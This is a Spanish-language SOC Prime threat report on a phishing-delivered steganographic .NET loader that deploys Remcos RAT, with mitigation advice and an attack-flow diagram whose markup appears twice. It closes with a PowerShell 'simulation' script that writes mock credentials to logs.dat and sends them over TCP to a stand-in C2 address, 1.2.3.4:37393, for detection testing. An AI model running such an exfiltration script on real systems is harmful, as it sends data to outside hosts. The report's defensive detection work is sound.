SOC Prime Bias: Alta

24 Jun 2026 06:40 UTC

Una campaña de cargador esteganográfico multi-etapa que despliega cargas útiles diversas en todo el mundo

Author Photo
SOC Prime Team linkedin icon Seguir
Una campaña de cargador esteganográfico multi-etapa que despliega cargas útiles diversas en todo el mundo
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Una campaña de malware multi-etapa utiliza esteganografía y ejecución en memoria para entregar múltiples cargas útiles, incluido Remcos RAT. La cadena de infección comienza con un correo electrónico de phishing que lleva un archivo malicioso que descarga un ejecutable .NET. Ese ejecutable utiliza recursos incrustados y métodos esteganográficos para cargar etapas posteriores directamente en la memoria, ayudando al malware a evitar la detección basada en disco.

Investigación

La investigación comenzó después de que la telemetría marcara un archivo sospechoso llamado GST Debit Note Apr_26.com. Los analistas determinaron que el archivo era un ejecutable .NET de 32 bits empaquetado disfrazado como un juego. Un análisis inverso posterior reveló esteganografía incrustada en un objeto Bitmap .NET, que ocultaba el cargador de la siguiente etapa, Optimax.dll, y le permitía ejecutarse completamente en memoria.

Mitigación

Las organizaciones deben implementar un fuerte filtrado de correo electrónico para bloquear archivos adjuntos de archivos sospechosos e intentos de phishing. Las soluciones EDR deben ser capaces de detectar la ejecución en memoria, el vaciado de procesos y el comportamiento sospechoso de PowerShell. Los equipos también deben monitorear cambios no autorizados en el registro, especialmente en las claves de Run, y aplicar un control estricto de aplicaciones para evitar el lanzamiento de ejecutables no firmados.

Respuesta

Los puntos finales afectados deben ser aislados inmediatamente para limitar el movimiento lateral y el robo de datos. Los investigadores deben realizar informática forense de memoria para identificar componentes sin archivos y confirmar la presencia del Remcos_Mutex_Inj mutex. También se debe realizar una revisión completa para verificar la persistencia no autorizada en el directorio AppData y las claves de Run del registro, mientras que las credenciales deben ser restablecidas para cualquier usuario cuyos navegadores puedan haber sido accedidos por el malware.

<div class="wp-block-socprime-category-attack-flow attack-flow-class" data-title="Attack Flow" data-attack-flow="graph TB %% Class Definitions Section classDef action fill:#99ccff classDef malware fill:#ff99cc classDef technique fill:#c2f0c2 classDef file fill:#e1e1e1 %% Node Definitions %% Initial Access attack_phishing["<b>Action</b> – <b idea='T1566.001'>Phishing: Spearphishing Attachment</b><br/><b>Details</b>: Malicious archive GST Debit Note Apr_26.com sent to victims."] class attack_phishing action %% Evasion and Loader Stage 1 evasion_stego["<b idea='T1027.003'>Obfuscated Files or Information: Steganography</b><br/><b>Details</b>: Hiding Optimax.dll inside a serialized .NET Bitmap object<br/>within the executable resource section."] class evasion_stego technique exec_appdomain["<b idea='T1574.014'>Hijack Execution Flow: AppDomainManager</b><br/><b>Details</b>: Using reflection and AppDomain.Load to execute<br/>payload directly from memory without touching disk."] class exec_appdomain technique %% Second Stage loader_stage2["<b idea='T1055.012'>Process Injection: Process Hollowing</b><br/><b>Details</b>: System Optimizer Ultimate.dll deploys final payload<br/>by hollowing a default browser process."] class loader_stage2 technique malware_remcos["<b idea='Malware'>Remcos RAT</b><br/><b>Description</b>: Remote Access Trojan deployed<br/>as the final payload."] class malware_remcos malware %% Persistence and Evasion evasion_sandbox["<b idea='T1497'>Virtualization/Sandbox Evasion</b><br/><b>Details</b>: Checking for sbiedll.dll and registry keys<br/>to detect sandboxes or virtual machines."] class evasion_sandbox technique persistence_active["<b idea='T1547.014'>Boot or Logon Autostart Execution: Active Setup</b><br/><b>Details</b>: Copying malware to AppDataRoaming and<br/>configuring a Run registry key for persistence."] class persistence_active technique %% Collection and Exfiltration collect_browser["<b idea='T1217'>Browser Information Discovery</b><br/><b>Details</b>: Collecting Chrome and Firefox credentials."] class collect_browser technique steal_cookies["<b idea='T1539'>Steal Web Session Cookie</b><br/><b>Details</b>: Capturing active web session cookies."] class steal_cookies technique exfil_c2["<b idea='T1041'>Exfiltration Over C2 Channel</b><br/><b>Details</b>: Sending captured data from logs.dat<br/>to the attacker via Command and Control."] class exfil_c2 technique file_logs["<b idea='File'>logs.dat</b><br/><b>Description</b>: Local file used to store

graph TB %% Class Definitions Section classDef action fill:#99ccff classDef malware fill:#ff99cc classDef technique fill:#c2f0c2 classDef file fill:#e1e1e1 %% Node Definitions %% Initial Access attack_phishing[«<b>Acción</b> – <b idea=’T1566.001′>Phishing: Adjunto de Spearphishing</b><br/><b>Detalles</b>: Archivo malicioso GST Debit Note Apr_26.com enviado a las víctimas.»] class attack_phishing action %% Evasion and Loader Stage 1 evasion_stego[«<b idea=’T1027.003′>Archivos o Información Ofuscada: Esteganografía</b><br/><b>Detalles</b>: Ocultando Optimax.dll dentro de un objeto Bitmap .NET serializado<br/>dentro de la sección de recursos del ejecutable.»] class evasion_stego technique exec_appdomain[«<b idea=’T1574.014′>Secuestro del Flujo de Ejecución: AppDomainManager</b><br/><b>Detalles</b>: Usando reflexión y AppDomain.Load para ejecutar<br/>la carga útil directamente desde la memoria sin tocar el disco.»] class exec_appdomain technique %% Second Stage loader_stage2[«<b idea=’T1055.012′>Inyección de Proceso: Vaciamiento de Proceso</b><br/><b>Detalles</b>: System Optimizer Ultimate.dll despliega la carga útil final<br/>vaciando un proceso del navegador predeterminado.»] class loader_stage2 technique malware_remcos[«<b idea=’Malware’>Remcos RAT</b><br/><b>Descripción</b>: Troyano de Acceso Remoto desplegado<br/>como la carga útil final.»] class malware_remcos malware %% Persistence and Evasion evasion_sandbox[«<b idea=’T1497′>Evasión de Virtualización/Caja de Arena</b><br/><b>Detalles</b>: Comprobando sbiedll.dll y claves de registro<br/>para detectar cajas de arena o máquinas virtuales.»] class evasion_sandbox technique persistence_active[«<b idea=’T1547.014′>Ejecución de Inicio o Registro Automático: Configuración Activa</b><br/><b>Detalles</b>: Copiando malware a AppDataRoaming y<br/>configurando una clave de registro Run para persistencia.»] class persistence_active technique %% Collection and Exfiltration collect_browser[«<b idea=’T1217′>Descubrimiento de Información del Navegador</b><br/><b>Detalles</b>: Recopilando credenciales de Chrome y Firefox.»] class collect_browser technique steal_cookies[«<b idea=’T1539′>Robo de Cookies de Sesión Web</b><br/><b>Detalles</b>: Capturando cookies de sesiones web activas.»] class steal_cookies technique exfil_c2[«<b idea=’T1041′>Exfiltración a través del Canal C2</b><br/><b>Detalles</b>: Enviando datos capturados desde logs.dat<br/>al atacante a través de Comando y Control.»] class exfil_c2 technique file_logs[«<b idea=’File’>logs.dat</b><br/><b>Descripción</b>: Archivo local utilizado para almacenar<br/>credenciales y cookies robadas.»] class file_logs file %% Connections %% Flow of attack attack_phishing –>|conduce_a| evasion_stego evasion_stego –>|desempaqueta| exec_appdomain exec_appdomain –>|carga| loader_stage2 loader_stage2 –>|despliega| malware_remcos %% Malware actions malware_remcos –>|realiza| evasion_sandbox malware_remcos –>|establece| persistence_active malware_remcos –>|realiza| collect_browser collect_browser –>|conduce_a| steal_cookies steal_cookies –>|almacena_en| file_logs file_logs –>|enviado_vía| exfil_c2

Flujo de Ataque

Ejecución de Simulación

Prerequisito: La inspección previa al vuelo de Telemetría y Línea Base debe haber pasado.

Racional: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente las TTPs identificadas y apuntar a generar la telemetría exacta esperada por la lógica de detección. Los ejemplos abstractos o no relacionados llevarán a un diagnóstico incorrecto.

  • Narrativa del Ataque & Comandos: El adversario ha logrado establecer un punto de apoyo. Para completar el objetivo, recopilan telemetría del sistema y la guardan en un archivo llamado logs.dat para hacerse pasar por registros del sistema estándar. Luego, el adversario inicia una conexión de red hacia la infraestructura C2 establecida (usando la IP 1.2.3.4 y el puerto 37393 para esta simulación) para exfiltrar los datos. Esto imita el comportamiento de un cargador esteganográfico intentando mover los datos fuera de la red a través de un canal específico y codificado.

  • Script de Prueba de Regresión:

    # Simulación de Exfiltración de Datos a través de nombre de archivo específico y parámetros C2
    $C2_IP = "1.2.3.4" # IP de C2 simulada
    $C2_PORT = 37393
    $FILENAME = "logs.dat"
    
    # 1. Crea el archivo de datos 'malicioso'
    Write-Output "Datos Sensibles: UserCredentials_Admin_Pass123" | Out-File -FilePath "$env:TEMP$FILENAME"
    
    # 2. Simula la conexión de red al C2
    # Usando un Cliente TCP para forzar la telemetría del puerto/IP específico
    try {
        $client = New-Object System.Net.Sockets.TcpClient($C2_IP, $C2_PORT)
        $stream = $client.GetStream()
        $data = [System.Text.Encoding]::ASCII.GetBytes((Get-Content "$env:TEMP$FILENAME"))
        $stream.Write($data, 0, $data.Length)
        $client.Close()
    } catch {
        Write-Host "Conexión fallida (Esperado si la IP no existe), pero la telemetría debería ser capturada por el firewall."
    }
  • Comandos de Limpieza:

    # Elimina el archivo malicioso simulado
    Remove-Item -Path "$env:TEMPlogs.dat" -ErrorAction SilentlyContinue